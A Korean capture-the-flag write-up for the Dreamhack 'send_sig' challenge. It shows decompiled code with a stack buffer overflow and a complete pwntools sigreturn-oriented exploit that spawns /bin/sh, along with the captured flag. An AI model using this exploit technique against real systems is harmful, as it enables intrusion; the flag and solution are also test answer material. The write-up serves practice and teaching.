[dreamhack] send_sig writeup

1. 문제

thumbnail
send_sig

서버로 signal을 보낼 수 있는 프로그램입니다!
프로그램의 취약점을 찾고, 익스플로잇해 flag를 읽어보세요.
flag는 home/send_sig/flag.txt에 있습니다.

https://dreamhack.io/wargame/challenges/145

2. 풀이

void __noreturn start()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  write(1, "++++++++++++++++++Welcome to dreamhack++++++++++++++++++\n", 0x39uLL);
  write(1, "+ You can send a signal to dreamhack server.           +\n", 0x39uLL);
  write(1, "++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n", 0x39uLL);
  sub_4010B6();
  exit(0);
}

ssize_t sub_4010B6()
{
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF

  write(1, "Signal:", 7uLL);
  return read(0, buf, 0x400uLL);
}

소스코드가 없어서 IDA로 까본 결과이다.


바로 전에 풀었던 srop 문제와 거의 동일하다. 제목도 send_sig… 그래서 똑같이 풀면 넘어가졌다.

다만 bss 영역에 쓸 때, elf.bss()를 사용하면 쓸 수 있는 공간이 되게 적다. (32바이트 정도인듯) 그래서 got 공간 뒤에부터 read를 통해 입력해야한다.

pwndbg> x/100gx 0x404000
0x404000:	0x0000000000403e90	0x0000756dcb7552e0
0x404010:	0x0000756dcb7312f0	0x0000756dcb51c560
0x404020 <read@got.plt>:	0x0000756dcb51ba50	0x0000756dcb488550
0x404030 <exit@got.plt>:	0x0000000000401040	0x0000000000000000
0x404040 <stdout>:	0x0000756dcb6045c0	0x0000000000000000
0x404050 <stdin>:	0x0000756dcb6038e0	0x0000000000000000
0x404060:	0x0000000000000000	0x0000000000000000
0x404070:	0x0000000000000000	0x0000000000000000
0x404080:	0x0000000000000000	0x0000000000000000

그리고 이번에는 저번처럼 대놓고 소스코드에 gadget함수를 박아놓지는 않았지만, ROPgadget을 통해 검색해보면 syscall도 있고 pop rax; ret 가젯도 있다.

from pwn import *

context.arch = "x86_64"
p = process("./send_sig")
p = remote("host8.dreamhack.games", 24272)
elf = ELF("./send_sig")

pop_rax = 0x00000000004010ae
syscall = 0x00000000004010b0
bss = 0x404060


frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x500
frame.rsp = bss
frame.rip = syscall

payload = b"a" * 8
payload += b"b" * 8 
payload += p64(pop_rax)
payload += p64(15)
payload += p64(syscall)
payload += bytes(frame)

p.sendafter(b"Signal:", payload)
sleep(0.5)

pause()

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bss + 0x110
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
frame.rsp = bss + 0x400

payload = p64(pop_rax)
payload += p64(15)
payload += p64(syscall)
payload += bytes(frame)
payload += b"/bin/sh\x00"

p.send(payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/send_sig$ python3 e_send_sig.py 
[+] Starting local process './send_sig': pid 2648816
[+] Opening connection to host8.dreamhack.games on port 24272: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/send_sig/send_sig'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ cat /home/send_sig/flag.txt
DH{5a5e56589d32087ec7a37f3b70a84483eae7404e9072173ec7571b632b804760}

해결~